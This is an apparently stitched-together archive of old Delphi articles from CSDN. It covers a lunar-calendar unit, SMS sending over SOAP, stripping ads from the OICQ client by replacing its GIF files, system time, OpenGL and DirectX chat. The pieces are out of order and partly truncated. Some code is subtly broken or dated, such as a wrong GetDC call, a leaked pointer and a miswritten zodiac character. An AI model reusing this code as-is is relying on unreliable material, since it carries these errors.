$96, $A4, $A5, $B5, $A6, $A6, $88, $89, $88, $78, $87, $87, //1976
$A5, $B4, $96, $A5, $96, $96, $88, $88, $78, $78, $87, $87, //1977
$95, $B4, $96, $A5, $96, $97, $88, $78, $78, $79, $78, $87, //1978
$96, $B4, $96, $A6, $96, $97, $78, $79, $78, $69, $78, $77, //1979
$96, $A4, $A5, $B5, $A6, $A6, $88, $88, $88, $78, $87, $87, //1980
$A5, $B4, $96, $A5, $A6, $96, $88, $88, $78, $78, $77, $87, //1981
$95, $B4, $96, $A5, $96, $97, $88, $78, $78, $79, $77, $87, //1982
$95, $B4, $96, $A5, $96, $97, $78, $79, $78, $69, $78, $77, //1983
$96, $B4, $A5, $B5, $A6, $A6, $87, $88, $88, $78, $87, $87, //1984
$A5, $B4, $A6, $A5, $A6, $96, $88, $88, $78, $78, $87, $87, //1985
$A5, $B4, $96, $A5, $96, $97, $88, $78, $78, $79, $77, $87, //1986
$95, $B4, $96, $A5, $96, $97, $88, $79, $78, $69, $78, $87, //1987
$96, $B4, $A5, $B5, $A6, $A6, $87, $88, $88, $78, $87, $86, //1988
$A5, $B4, $A5, $A5, $A6, $96, $88, $88, $88, $78, $87, $87, //1989
$A5, $B4, $96, $A5, $96, $96, $88, $78, $78, $79, $77, $87, //1990
$95, $B4, $96, $A5, $86, $97, $88, $78, $78, $69, $78, $87, //1991
$96, $B4, $A5, $B5, $A6, $A6, $87, $88, $88, $78, $87, $86, //1992
$A5, $B3, $A5, $A5, $A6, $96, $88, $88, $88, $78, $87, $87, //1993
$A5, $B4, $96, $A5, $96, $96, $88, $78, $78, $78, $87, $87, //1994
$95, $B4, $96, $A5, $96, $97, $88, $76, $78, $69, $78, $87, //1995
$96, $B4, $A5, $B5, $A6, $A6, $87, $88, $88, $78, $87, $86, //1996
$A5, $B3, $A5, $A5, $A6, $A6, $88, $88, $88, $78, $87, $87, //1997
$A5, $B4, $96, $A5, $96, $96, $88, $78, $78, $78, $87, $87, //1998
$95, $B4, $96, $A5, $96, $97, $88, $78, $78, $69, $78, $87, //1999
$96, $B4, $A5, $B5, $A6, $A6, $87, $88, $88, $78, $87, $86, //2000
$A5, $B3, $A5, $A5, $A6, $A6, $88, $88, $88, $78, $87, $87, //2001
$A5, $B4, $96, $A5, $96, $96, $88, $78, $78, $78, $87, $87, //2002
$95, $B4, $96, $A5, $96, $97, $88, $78, $78, $69, $78, $87, //2003
$96, $B4, $A5, $B5, $A6, $A6, $87, $88, $88, $78, $87, $86, //2004
$A5, $B3, $A5, $A5, $A6, $A6, $88, $88, $88, $78, $87, $87, //2005
$A5, $B4, $96, $A5, $A6, $96, $88, $88, $78, $78, $87, $87, //2006
$95, $B4, $96, $A5, $96, $97, $88, $78, $78, $69, $78, $87, //2007
$96, $B4, $A5, $B5, $A6, $A6, $87, $88, $87, $78, $87, $86, //2008
$A5, $B3, $A5, $B5, $A6, $A6, $88, $88, $88, $78, $87, $87, //2009
$A5, $B4, $96, $A5, $A6, $96, $88, $88, $78, $78, $87, $87, //2010
$95, $B4, $96, $A5, $96, $97, $88, $78, $78, $79, $78, $87, //2011
$96, $B4, $A5, $B5, $A5, $A6, $87, $88, $87, $78, $87, $86, //2012
$A5, $B3, $A5, $B5, $A6, $A6, $87, $88, $88, $78, $87, $87, //2013
$A5, $B4, $96, $A5, $A6, $96, $88, $88, $78, $78, $87, $87, //2014
$95, $B4, $96, $A5, $96, $97, $88, $78, $78, $79, $77, $87, //2015
$95, $B4, $A5, $B4, $A5, $A6, $87, $88, $87, $78, $87, $86, //2016
$A5, $C3, $A5, $B5, $A6, $A6, $87, $88, $88, $78, $87, $87, //2017
$A5, $B4, $A6, $A5, $A6, $96, $88, $88, $78, $78, $87, $87, //2018
$A5, $B4, $96, $A5, $96, $96, $88, $78, $78, $79, $77, $87, //2019
$95, $B4, $A5, $B4, $A5, $A6, $97, $87, $87, $78, $87, $86, //2020
$A5, $C3, $A5, $B5, $A6, $A6, $87, $88, $88, $78, $87, $86, //2021
$A5, $B4, $A5, $A5, $A6, $96, $88, $88, $88, $78, $87, $87, //2022
$A5, $B4, $96, $A5, $96, $96, $88, $78, $78, $79, $77, $87, //2023
$95, $B4, $A5, $B4, $A5, $A6, $97, $87, $87, $78, $87, $96, //2024
$A5, $C3, $A5, $B5, $A6, $A6, $87, $88, $88, $78, $87, $86, //2025
$A5, $B3, $A5, $A5, $A6, $A6, $88, $88, $88, $78, $87, $87, //2026
$A5, $B4, $96, $A5, $96, $96, $88, $78, $78, $78, $87, $87, //2027
$95, $B4, $A5, $B4, $A5, $A6, $97, $87, $87, $78, $87, $96, //2028
$A5, $C3, $A5, $B5, $A6, $A6, $87, $88, $88, $78, $87, $86, //2029
$A5, $B3, $A5, $A5, $A6, $A6, $88, $88, $88, $78, $87, $87, //2030
$A5, $B4, $96, $A5, $96, $96, $88, $78, $78, $78, $87, $87, //2031
$95, $B4, $A5, $B4, $A5, $A6, $97, $87, $87, $78, $87, $96, //2032
$A5, $C3, $A5, $B5, $A6, $A6, $88, $88, $88, $78, $87, $86, //2033
$A5, $B3, $A5, $A5, $A6, $A6, $88, $78, $88, $78, $87, $87, //2034
$A5, $B4, $96, $A5, $A6, $96, $88, $88, $78, $78, $87, $87, //2035
$95, $B4, $A5, $B4, $A5, $A6, $97, $87, $87, $78, $87, $96, //2036
$A5, $C3, $A5, $B5, $A6, $A6, $87, $88, $88, $78, $87, $86, //2037
$A5, $B3, $A5, $A5, $A6, $A6, $88, $88, $88, $78, $87, $87, //2038
$A5, $B4, $96, $A5, $A6, $96, $88, $88, $78, $78, $87, $87, //2039
$95, $B4, $A5, $B4, $A5, $A6, $97, $87, $87, $78, $87, $96, //2040
$A5, $C3, $A5, $B5, $A5, $A6, $87, $88, $87, $78, $87, $86, //2041
$A5, $B3, $A5, $B5, $A6, $A6, $88, $88, $88, $78, $87, $87, //2042
$A5, $B4, $96, $A5, $A6, $96, $88, $88, $78, $78, $87, $87, //2043
$95, $B4, $A5, $B4, $A5, $A6, $97, $87, $87, $88, $87, $96, //2044
$A5, $C3, $A5, $B4, $A5, $A6, $87, $88, $87, $78, $87, $86, //2045
$A5, $B3, $A5, $B5, $A6, $A6, $87, $88, $88, $78, $87, $87, //2046
$A5, $B4, $96, $A5, $A6, $96, $88, $88, $78, $78, $87, $87, //2047
$95, $B4, $A5, $B4, $A5, $A5, $97, $87, $87, $88, $86, $96, //2048
$A4, $C3, $A5, $A5, $A5, $A6, $97, $87, $87, $78, $87, $86, //2049
$A5, $C3, $A5, $B5, $A6, $A6, $87, $88, $78, $78, $87, $87); //2050

function MonthDays(iYear,iMonth:Word):Word;
begin
case iMonth of
1,3,5,7,8,10,12: Result:=31;
4,6,9,11: Result:=30;
2://如果是闰年
if IsLeapYear(iYear) then
Result:=29
else
Result:=28
else
Result:=0;
end;
end;

function GetLeapMonth(iLunarYear:Word):Word;
var
Flag:Byte;
begin
Flag:=gLunarMonth[(iLunarYear-START_YEAR) div 2];
if (iLunarYear-START_YEAR) mod 2=0 then
Result:=Flag shr 4
else
Result:=Flag and $0F;
end;

function LunarMonthDays(iLunarYear,iLunarMonth:Word):Longword;
var
Height,Low:Word;
iBit:Integer;
begin
if iLunarYear<START_YEAR then
begin
Result:=30;
Exit;
end;
Height:=0;
Low:=29;
iBit:=16-iLunarMonth;
if (iLunarMonth>GetLeapMonth(iLunarYear)) and (GetLeapMonth(iLunarYear)>0) then
Dec(iBit);
if (gLunarMonthDay[iLunarYear-START_YEAR] and (1 shl iBit))>0 then
Inc(Low);
if iLunarMonth=GetLeapMonth(iLunarYear) then
if (gLunarMonthDay[iLunarYear-START_YEAR] and (1 shl (iBit-1)))>0 then
Height:=30
else
Height:=29;
Result:=MakeLong(Low,Height);
end;

function LunarYearDays(iLunarYear:Word):Word;
var
Days,i:Word;
tmp:Longword;
begin
Days:=0;
for i:=1 to 12 do
begin
tmp:=LunarMonthDays(iLunarYear,i);
Days:=Days+HiWord(tmp);
Days:=Days+LoWord(tmp);
end;
Result:=Days;
end;

procedure FormatLunarYear(iYear:Word;var pBuffer:string);
var
szText1,szText2,szText3:string;
begin
szText1:='甲乙丙丁戊己庚辛壬癸';
szText2:='子丑寅卯辰巳午未申酉戌亥';
szText3:='鼠牛虎免龙蛇马羊猴鸡狗猪';
pBuffer:=Copy(szText1,((iYear-4) mod 10)*2+1,2);
pBuffer:=pBuffer+Copy(szText2,((iYear-4) mod 12)*2+1,2);
pBuffer:=pBuffer+' ';
pBuffer:=pBuffer+Copy(szText3,((iYear-4) mod 12)*2+1,2);
pBuffer:=pBuffer+'年';
end;

function FormatLunarYear(iYear:Word):string;
var
pBuffer:string;
begin
FormatLunarYear(iYear,pBuffer);
Result:=pBuffer;
end;

procedure FormatMonth(iMonth:Word;var pBuffer:string;bLunar:Boolean);
var
szText:string;
begin
if (not bLunar) and (iMonth=1) then
begin
pBuffer:=' 一月';
Exit;
end;
szText:='正二三四五六七八九十';
if iMonth<=10 then
begin
pBuffer:=' ';
pBuffer:=pBuffer+Copy(szText,(iMonth-1)*2+1,2);
pBuffer:=pBuffer+'月';
Exit;
end;
if iMonth=11 then
pBuffer:='十一'
else
pBuffer:='十二';
pBuffer:=pBuffer+'月';
end;

function FormatMonth(iMonth:Word;bLunar:Boolean):string;
var
pBuffer:string;
begin
FormatMonth(iMonth,pBuffer,bLunar);
Result:=pBuffer;
end;

procedure FormatLunarDay(iDay:Word;var pBuffer:string);
var
szText1,szText2:string;
begin
szText1:='初十廿三';
szText2:='一二三四五六七八九十';
if (iDay<>20) and (iDay<>30) then
begin
pBuffer:=Copy(szText1,((iDay-1) div 10)*2+1,2);
pBuffer:=pBuffer+Copy(szText2,((iDay-1) mod 10)*2+1,2);
end
else
begin
pBuffer:=Copy(szText1,(iDay div 10)*2+1,2);
pBuffer:=pBuffer+'十';
end;
end;

function FormatLunarDay(iDay:Word):string;
var
pBuffer:string;
begin
FormatLunarDay(iDay,pBuffer);
Result:=pBuffer;
end;

function CalcDateDiff(iEndYear,iEndMonth,iEndDay:Word;iStartYear:Word;iStartMonth:Word;iStartDay:Word):Longword;
begin
Result:=Trunc(EncodeDate(iEndYear,iEndMonth,iEndDay)-EncodeDate(iStartYear,iStartMonth,iStartDay));
end;

function CalcDateDiff(EndDate,StartDate:TDateTime):Longword;
begin
Result:=Trunc(EndDate-StartDate);
end;

procedure l_CalcLunarDate(var iYear,iMonth,iDay:Word;iSpanDays:Longword);
var
tmp:Longword;
begin
//阳历1901年2月19日为阴历1901年正月初一
//阳历1901年1月1日到2月19日共有49天
if iSpanDays<49 then
begin
iYear:=START_YEAR-1;
if iSpanDays<19 then
begin
iMonth:=11;
iDay:=11+Word(iSpanDays);
end
else
begin
iMonth:=12;
iDay:=Word(iSpanDays)-18;
end;
Exit;
end;
//下面从阴历1901年正月初一算起
iSpanDays:=iSpanDays-49;
iYear:=START_YEAR;
iMonth:=1;
iDay:=1;
//计算年
tmp:=LunarYearDays(iYear);
while iSpanDays>=tmp do
begin
iSpanDays:=iSpanDays-tmp;
Inc(iYear);
tmp:=LunarYearDays(iYear);
end;
//计算月
tmp:=LoWord(LunarMonthDays(iYear,iMonth));
while iSpanDays>=tmp do
begin
iSpanDays:=iSpanDays-tmp;
if iMonth=GetLeapMonth(iYear) then
begin
tmp:=HiWord(LunarMonthDays(iYear,iMonth));
if iSpanDays<tmp then Break;
iSpanDays:=iSpanDays-tmp;
end;
Inc(iMonth);
tmp:=LoWord(LunarMonthDays(iYear,iMonth));
end;
//计算日
iDay:=iDay+Word(iSpanDays);
end;

function l_GetLunarHolDay(iYear,iMonth,iDay:Word):Word;
var
Flag:Byte;
Day:Word;
begin
Flag:=gLunarHolDay[(iYear-START_YEAR)*12+iMonth-1];
if iDay<15 then
Day:=15-((Flag shr 4) and $0f)
else
Day:=(Flag and $0f)+15;
if iDay=Day then
if iDay>15 then
Result:=(iMonth-1)*2+2
else
Result:=(iMonth-1)*2+1
else
Result:= 0;
end;

function GetLunarHolDay(InDate:TDateTime):string;
var
i,iYear,iMonth,iDay:Word;
begin
DecodeDate(InDate,iYear,iMonth,iDay);
i:=l_GetLunarHolDay(iYear,iMonth,iDay);
case i of
1:Result:='小 寒';
2:Result:='大 寒';
3:Result:='立 春';
4:Result:='雨 水';
5:Result:='惊 蛰';
6:Result:='春 分';
7:Result:='清 明';
8:Result:='谷 雨';
9:Result:='立 夏';
10:Result:='小 满';
11:Result:='芒 种';
12:Result:='夏 至';
13:Result:='小 暑';
14:Result:='大 暑';
15:Result:='立 秋';
16:Result:='处 暑';
17:Result:='白 露';
18:Result:='秋 分';
19:Result:='寒 露';
20:Result:='霜 降';
21:Result:='立 冬';
22:Result:='小 雪';
23:Result:='大 雪';
24:Result:='冬 至';
else
l_CalcLunarDate(iYear,iMonth,iDay,CalcDateDiff(InDate,EncodeDate(START_YEAR,1,1)));
Result := trim(FormatMonth(iMonth) + FormatLunarDay(iDay));
end;
end;

function GetLunarHolDay(iYear,iMonth,iDay:Word):string;
begin
Result:=GetLunarHolDay(EncodeDate(iYear,iMonth,iDay));
end;
end.


CSDN_文档中心_用Delphi发送SMS（手机短消息服务）

用Delphi发送SMS（手机短消息服务）
下面的例子演示了如何通过SOAP来调用一个SMS的WEB服务。

首先通过下面的地址下载并安装微软SOAP工具包2.0:
http://msdn.microsoft.com/downloads/default.asp?URL=/code/sample.asp?url=/msdn-files/027/001/580/msdncompositedoc.xml
然后就可以使用下面的简短代码发送SMS了。

uses
ComObj;

procedure TForm1.Button1Click(Sender: TObject);
var
SoapClient: OleVariant;
v: OleVariant;
begin
SoapClient := CreateOleObject('MSSOAP.SoapClient');
SoapClient.mssoapinit('http://sal006.salnetwork.com:83/lucin/smsmessaging/process.xml');
SoapClient.SendTextMessage('Number', 'MessageBody', 'Sender');
end;

其中Number为国家代码+电话号码（不需要以零打头），
如 06 12345678 在荷兰：31612345678


CSDN_文档中心_用DELPHI给OICQ动手术(二)

用DELPHI给OICQ动手术(二)
http://www.tongyi.net 作者:ChinaByte 出处:胡飞 点击:3945

// gif.gif为当前路径下的一透明图片文件

     sDir := ExtractFilepath(application.exename)+ 'gif.gif';

     //如果图片文件不存在，则显示错误信息并退出

     if not fileexists(sDir) then

     begin

     application.MessageBox('文件安装错误！图片文件未找到！',

     '错误',0);

     exit;

     end;

     //用该文件替换掉AD文件夹下的所有GIF文件

     for i := 0 to sList.Count - 1 do

     copyFile(Pchar(sDir) ,Pchar(sList[i]),False);

     //查找并替换掉DAT文件夹下的所有GIF文件

     Dir := Edit1.Text + 'Dat';

     FindResult := FindFirst(Dir + '*.gif',FaAnyFile,SearchRec);

     while FindResult = 0 do

     begin

     sList.Add(lowercase(Dir + SearchRec.name));

     FindResult := FindNext(SearchRec);

     end;

     for i := 0 to sList.Count - 1 do

     copyFile(Pchar(sDir) ,Pchar(sList[i]),False);

     finally

     FindClose(SearchRec); //释放FindFirst和FindNext

     //占用的系统资源

     sList.Free; //释放列表

     end;

     end;

     FindFirst和FindNext是查找指定路径下指定属性和类型的文件，定义如下：

     function FindFirst(const Path: string; Attr: Integer; var F: TSearchRec): Integer;

     function FindNext(var F: TSearchRec): Integer。FindNext总是与FindFirst配合使用，缺省使用FindFirst的Path和Attr参数。FindFirst和FindNext必须调用FindClose来释放内存。

     CopyFile拷贝已存在的文件到一个新文件，定义如下：

     BOOL CopyFile(

     LPCTSTR lpExistingFileName, // 要拷贝的文件

     LPCTSTR lpNewFileName, // 拷贝的目的文件

     BOOL bFailIfExists // 如果目的文件已存在，

     // 指出如何操作，如果为Ture而目的文件已存在则操

     //作失败，否则覆盖

     );

     至于恢复广告条，怎么，你真的想恢复广告条啊？哇，这样的人也有，我算是服了！好，作为一个功能，简单介绍广告条的恢复。

     前面讲过，删除掉AD文件夹下的所有GIF文件，OICQ下次运行后会自动下载广告文件。那么有两种方法来实现恢复功能，一种方法就是删除AD文件夹，另一种方法就是删除AD文件夹下的GIF文件。鉴于去掉广告条时要访问AD文件夹，如果采用第一种方法，恢复广告条后马上点击“去掉广告条”，可能会出错。所以建议采用第二种方法。这里两种方法都简单介绍一下。

     删除文件夹。首先有必要介绍一下ShFileOperation()函数和TshFileOpStruct类型。

     ShFileOperation()函数可以对文件系统进行拷贝、移动、重命名、删除等操作，如果操作成功则返回0，否则返回非0值。定义如下：

     WINSHELLAPI int WINAPI SHFileOperation(

     LPSHFILEOPSTRUCT lpFileOp

     );

     ShFileOpStruct包含了ShFileOperation()函数进行操作的文件信息。TshFileOpStruct类型定义如下：

     typedef struct _SHFILEOPSTRUCT { // shfos

     HWND hwnd;

     UINT wFunc;

     LPCSTR pFrom;

     LPCSTR pTo;

     FILEOP_FLAGS fFlags;

     BOOL fAnyOperationsAborted;

     LPVOID hNameMappings;

     LPCSTR lpszProgressTitle;

     } SHFILEOPSTRUCT, FAR *LPSHFILEOPSTRUCT;


CSDN_文档中心_用DELPHI给OICQ动手术(一)

用DELPHI给OICQ动手术(一)
http://www.tongyi.net

    本文介绍了如何通过DELPHI的文件操作来去掉广告、屏蔽腾讯浏览器。

     以OICQ2000b BUILD 0110为例，仔细分析OICQ的工作原理，可以发现，OICQ的“发送消息”窗口中的广告都保存在OICQ安装目录下的AD文件夹中，均为GIF格式的图片。当AD文件夹中的文件不存在时，OICQ调用DAT文件夹中的GIF图片，然后下载广告图片并保存在AD文件夹中，以备调用。至于腾讯浏览器，可以用微软浏览器替换回来（假定当前浏览器为微软的IE浏览器）。

     明白了这些以后，就可以自己动手利用DELPHI的文件操作，来去掉广告、屏蔽腾讯浏览器了。

     如图，启动DELPHI，新建工程，在FORM上放置如下控件：

     关于去掉广告条，设想是先读取AD文件夹下所有GIF格式的文件，然后用一透明的小GIF图片替换，同时替换掉DAT文件夹下的GIF文件。程序实现如下：

     procedure TForm1.Del_adClick(Sender: TObject);

     var

     SearchRec : TsearchRec;

     SList: Tstringlist;

     Dir, SDir :string;

     i, FindResult : integer;

     begin

     Dir := edit1.Text; //OICQ的安装路径

     SList := Tstringlist.Create; //用于保存文件列表

     //判断OICQ安装路径是否正确

     if not fileexists(edit1.text + 'oicq.exe') then

     begin

     application.MessageBox('路径不正确，请重新选择！',

     '请重新选择',0);

     exit;

     end;

     //判断路径字符串的结束符是否为“”，不是就加上“”

     if Dir[length(dir)] <> '' then

     Dir := Dir + '';

     Dir := Dir + 'AD';

     //查找该文件夹下第一个GIF文件，文件名保存在SearchRec，

     //返回结果保存在FindResult中

     FindResult := FindFirst(Dir + '*.gif',FaAnyFile,SearchRec);

     try

     while FindResult = 0 do //查找成功

     begin

     //在列表中加入文件名

     sList.Add(lowercase(Dir + SearchRec.name));

     //继续查找下一个符合条件的文件

     FindResult := FindNext(SearchRec);

     end;


CSDN_文档中心_用Delphi获取当前系统时间

在开发应用程序时往往需要获取当前系统时间。尽管Y2K似乎已经平安过去，但在我们新开发的应用程序中还是要谨慎处理“时间”问题。

在《融会贯通--Delphi4.0实战技巧》(以下简称“该书”)第89页专门介绍了两种获取当前系统时间的方法，但这两种方法都存在不足或错误，以下就此进行讨论。

该书第一种方法是利用Time()函数获得当前系统时间，返回结果是TDateTime结构类型的变量。例如：

procedure TForm1.Button2Click(Sender: TObject);

var

DateTime:TDateTime;

begin

DateTime:=Time();

Caption:=DateToStr(DateTime)+' '+TimeToStr(DateTime);

end;

但不论何日期，其结果却都是99-12-30 xx:xx:xx, 显然日期出错了。通过分析Delphi的帮助，Time()用于返回正确的“时间--时分秒”即TimeToStr(DateTime)，而不应该用于返回“日期”。事实上，单独用于返回日期的系统函数是Date。

那么有什么是既可返回正确的“时分秒”又可返回正确的“年月日”呢? 可以用Now函数，例如：

procedure TForm1.Button1Click(Sender: TObject);

var

mytime: TDateTime;

begin

mytime:=Now;

Caption:=DateToStr(mytime)+' '+TimeToStr(mytime);

//或直接用 Caption := DateTimeToStr(Now);

end;

用Now返回的日期格式中年只有2位,即2000年显示为00, 这似乎不太令人满意. 此外Now和Time都只能获得精确到秒的时间，为了得到更精确的毫秒级时间，可以使用API函数GetSystemTime，它对应的TSystemTime类型的定义为：

TSystemTime = record

wYear: Word;

wMonth: Word;

wDayOfWeek: Word;

wDay: Word;

wHour: Word;

wMinute: Word;

wSecond: Word;

wMilliseconds: Word;

end;

显然，在程序逻辑中还能够方便地使用其结构成?时---各类时间值，因此使用函数GetSystemTime具有很大优越性。但该书中该函数的用法是错误的，通过查阅Windows SDK帮助可知，该函数原型为：

VOID GetSystemTime(LPSYSTEMTIME lpst)，参数指针lpst获取系统时间，因此可如以下程序段实现：

procedure TForm1.Button3Click(Sender: TObject);

var

SysTime: TsystemTime;

begin

GetSystemTime(SysTime);

Caption:=IntToStr(SysTime.wYear)+' '+IntToStr(SysTime.wMonth);

//if SysTime.wYear>2000 then

// ......在程序逻辑中利用获取的各类时间值

end;

综合以上讨论，获取当前系统时间利用函数GetSystemTime比较方便而且灵活。


CSDN_文档中心_用Delphi进行OpenGL编程学习心得

用Delphi进行OpenGL编程学习心得

---- 在开发图形程序时，尤其是三维的图形程序，因为感觉OpenGL没有DirectX那么庞杂，所以选择了DelphiOpenGL，凭感觉而言，Delphi也没有C++那么繁杂而且更加人性化，于是选择Delphi+OpenGL进行工作。在这过程中，碰到（肯定会）一些问题，在此提出希望和朋友们能够进行交流。

---- 首先是初始化。初始化时，有几项工作需要进行：①创建设备描述表（Device Context）。（注：关于DC，各种资料译文不尽相同如设备环境、设备描述表、设备上下文等，但好象都不太贴切。要是能有李善兰这样的翻译就好了。下文中的RC情形相同）②设置相应的象素格式（PIXELFORMAT DESCRIPTOR）。③创建着色描述表（Rendering Context）。 Delphi中有好几种获得或创建设备描述表的方法。最简单的就是直接获得画布对象（TCanvas）的句柄属性（Handle），如：

DC：HDC；
DC：=Canvas.Handle；

也可以用API函数GetDC获得设备描述表。如：

DC：=GetDC（Handle，DC）；

---- 也可以用函数CreateCompatibleDC或者BeginPaint..EndPaint（需要注意它们之间的区别）等来获得设备描述表。但是设备描述表用完之后要记得释放或删除它，以解放资源的占用。拥有设备描述表的使用权后，就可以设置相应的象素格式。象素格式是个记录类型，其中有些字段或域是没什么用处的（至少现在是）。象素格式描述完成后，调用ChoosePixelFormat和SetPixelFormat函数将之与设备描述表进行匹配和设置。如下面代码：

function SetupPixelFormat(var dc:HDC):Boolean;
var
  ppfd:PPIXELFORMATDESCRIPTOR;
  npixelformat:Integer;
begin
    New(ppfd);
    ppfd^.nSize:=sizeof(PIXELFORMATDESCRIPTOR);
    ppfd^.nVersion:=1;
ppfd^.dwFlags:=PFD_DRAW_TO_WINDOW
or PFD_SUPPORT_OPENGL or
                        PFD_DOUBLEBUFFER;
    ppfd^.dwLayerMask:=PFD_MAIN_PLANE;
    ppfd^.iPixelType:=PFD_TYPE_COLORINDEX;
    ppfd^.cColorBits:=8;
    ppfd^.cDepthBits:=16;
    ppfd^.cAccumBits:=0;
    ppfd^.cStencilBits:=0;
    npixelformat:=ChoosePixelFormat(dc, ppfd);
    if (nPixelformat=0) then
      begin
        MessageBox(NULL, 'choosePixelFormat failed',
        'Error', MB_OK);
        Result:=False;
        Exit;
      end;
    if (SetPixelFormat(dc, npixelformat, ppfd)= FALSE) then
      begin
        MessageBox(NULL, 'SetPixelFormat failed',
     'Error', MB_OK);
        Result:=False;
        Exit;
      end;
    Result:=True;
    Dispose(ppfd);
end;
也可以向下面这样进行设置如：
var pfd: PixelFormatDescriptor;
    nPixelFormat  : Integer;
begin
  FillChar(pfd,SizeOf(pfd),0);
  with pfd do
  begin
    nSize:=sizeof(pfd);
    nVersion:=1;
dwFlags:=PFD_SUPPORT_OPENGL
 or PFD_DRAW_TO_BITMAP
                     or PFD_DOUBLEBUFFER;
    iPixelType:=PFD_TYPE_RGBA;
    cColorBits:=32;
    cDepthBits:=32;
    iLayerType:=Byte（PFD_MAIN_PLANE);
  end;
  nPixelFormat:=ChoosePixelFormat(DC,@pfd);
  SetPixelFormat(DC,nPixelFormat,@pfd);
 { // 使用DescribePixelFormat检查象素格式是否设置正确
  DescribePixelFormat(DC,nPixelFormat,SizeOf(pfd),@pfd);
 if (pfd.dwFlags and PFD_NEED_PALETTE)
 < > 0 then SetupPalette(DC,pfd);
//SetupPalette是自定义函数
}end；

---- 上述工作完成以后，最好先运行一遍，并检查nPixelFormat的值。正常的话，该值应该是大于0的，否则就有问题。同样的代码，我在NT机器上能够得到正确的大于0的值而在PWIN97或98的机器上得不到正确值，但是编译时不会有问题，而且NT上编译后在PWIN97机器上也能够正确运行。现在可以创建着色描述表（RC）了。调用函数wglCreateContext、wglMakeCurrent，如下例示：

RC：HGLRC；
RC:=wglCreateContext(DC);
wglMakeCurrent(DC,RC);
在程序结束之前，要记得释放所占用的资源。
 wglMakeCurrent(0,0);
  if RC< >null then
    wglDeleteContext(RC);
  if ghDC< >null then
    ReleaseDC(Handle,DC);

---- 以下的代码是从C++Builder 4中OpenGL的例子改写过来的。编译后的程序大小为300K左右，而在C++Builder 4下编译后程序的大小为384K。

---- < a href="061403-05.zip ">程序代码 Zip 3KB

---- 程序中的OpenGL函数及象素格式在Delphi中的MSHelp中有比较详细的解释，本文不敢多做解释。


CSDN_文档中心_用Delphi开发DirectX控件

用Delphi开发DirectX控件
整理编辑：China ASP

    Microsoft推出的DirectX使我们在Windows9x下开发游戏软件便利了许多。一般在介绍DirectX 的资料里都讲的是如何用VC++来开发，其实inprise公司的语言也可以用来开发基于DirectX的游戏软件。我们这里用的是DirectX控件，它有Delphi3和Delphi4不同的版本。在
http://www.ingjapan.ne.jp/hori/ 处你可以download，是由一个日本人写的，而且，这套控件是完全免费的，你可以自由使用。在这套控件里有DirectX的各种范例程序，我们今天来讨论一下其中基于DirectX的网络通信程序如何开发。

    想必大家都看到过那些硝烟纷飞的即时战略游戏，这些游戏中一个很诱人的买点就是可以几个人同时加入战斗，各自扮演一方高手，杀它个你死我活。那么这些即时战略游戏中的网络对战部分是怎么写的呢?其实在Microsoft的DirectX中专门有一类API就是负责网络通信的，不管是基于IPX，还是TCP/IP，或者是Modem，它都可以圆满解决。而作为程序设计的我们一般来说不用操心这些连接方式不同而带来的代码的不同，我们可以一视同仁，只要写一套统一的代码就可以了，各种连接方式的细节问题我们就交给DirectX去处理了。

    下面我们具体分析一下一个chat聊天程序的构造。运行samples\network\chat.dpr，我们就看到了一个最简单的聊天程序了。首先程序会让你选择连接的方式：IPX连接、Internet TCP/IP连接、调制解调器连接和串行连接；选择好连接方式后（下面假设你是选择用TCP/IP方式连接），你可以选择是创建一个新游戏还是进入一个已经存在的游戏（当然现在这里的游戏就是指一个聊天程序！）；如果你是选择建立一个新游戏，那么接下来要你输入游戏的名字和你的名字，然后聊天就开始了；如果你是选择加入一个已经存在的游戏的话，那么你可以通过输入指定的IP地址来连接或者索性让程序去搜索有哪些已经存在的游戏名字。如果你在连接方式中选择的是调制解调器连接的话，就稍微复杂一些，需要选择调制解调器，并准备拨号和应答等。有没有发现这些连接的方式和过程和我们通常在游戏中看到的很相似?由于这些关于连接的对话框都是由DirectX提供的，因而会有一点语言上的问题。如果你安装的是DirectX的中文版本的话，那么你看见的将全部是中文。（顺便说一句，这套Delphi 控件所支持的DirectX必须在5.0版本以上。）
    这个程序本身并不复杂，下面是其主要的几个过程，我们已经加上了较为详细的注释：

    //增加游戏者
    procedure TMainForm.DXPlay1AddPlayer(Sender: TObject; Player: TDXPlayPlayer);
    begin
     Memo1.Lines.Add(Format(' %s entered a room.', [Player.Name]));
    end;

    //游戏者离开
    procedure TMainForm.DXPlay1DeletePlayer(Sender: TObject;Player: TDXPlayPlayer);
    begin
     Memo1.Lines.Add(Format(' %s left a room.', [Player.Name]));
    end;

    //DirectPlay打开
    procedure TMainForm.DXPlay1Open(Sender: TObject);
    var
     i: Integer;
    begin
     for i:=0 to DXPlay1.Players.Count－1 do
if DXPlay1.Players[i].RemotePlayer then
Memo1.Lines.Add(Format(' %s is entering a room.', [DXPlay1.Players[i].Name]));
end;

  procedure TMainForm.FormDestroy(Sender: TObject);
    begin
     DXPlay1.Close;
    end;

    //窗口创建执行事件
    procedure TMainForm.FormCreate(Sender: TObject);
    begin
     try
     //DirectPlay 打开
DXPlay1.Open;
     except
     //防错处理
on E: Exception do
begin
Application.ShowMainForm := False;
Application.HandleException(E);
Application.Terminate;
end;
     end;

     //显示有关信息在窗口的caption
     MainForm.Caption := Format('%s : %s', [DXPlay1.ProviderName, DXPlay1.SessionName]);
    end;

    //当有消息发送时
    procedure TMainForm.DXPlay1Message(Sender: TObject; Player: TDXPlayPlayer; Data: Pointer;DataSize: Integer);
    var
     s: string;
    begin
     case DXPlayMessageType(Data) of
DXCHAT_MESSAGE:
begin
if TDXChatMessage(Data^).Len<=0 then
s := ''
else begin
//计算字符串长度和内容
SetLength(s, TDXChatMessage(Data^).Len);
StrLCopy(PChar(s), @TDXChatMessage(Data^).c, Length(s));
end;

//显示收到的消息
Memo1.Lines.Add(Format('%s> %s', [Player.Name, s]));
end;
   end;
   end;

    //发送按钮
    procedure TMainForm.Button1Click(Sender: TObject);
    var
     Msg: ^TDXChatMessage;
     MsgSize: Integer;
    begin
     MsgSize := SizeOf(TDXChatMessage)+Length(Edit1.Text);
     GetMem(Msg, MsgSize);
     try
Msg.dwType := DXCHAT_MESSAGE;
Msg.Len := Length(Edit1.Text);
StrLCopy(@Msg^.c, PChar(Edit1.Text), Length(Edit1.Text));

//发送消息到所有的人
DXPlay1.SendMessage(DPID_ALLPLAYERS, Msg, MsgSize);

//发送消息到自己
DXPlay1.SendMessage(DXPlay1.LocalPlayer.ID, Msg, MsgSize);
Edit1.Text := '';
     finally
     FreeMem(Msg);
     end;
   end;

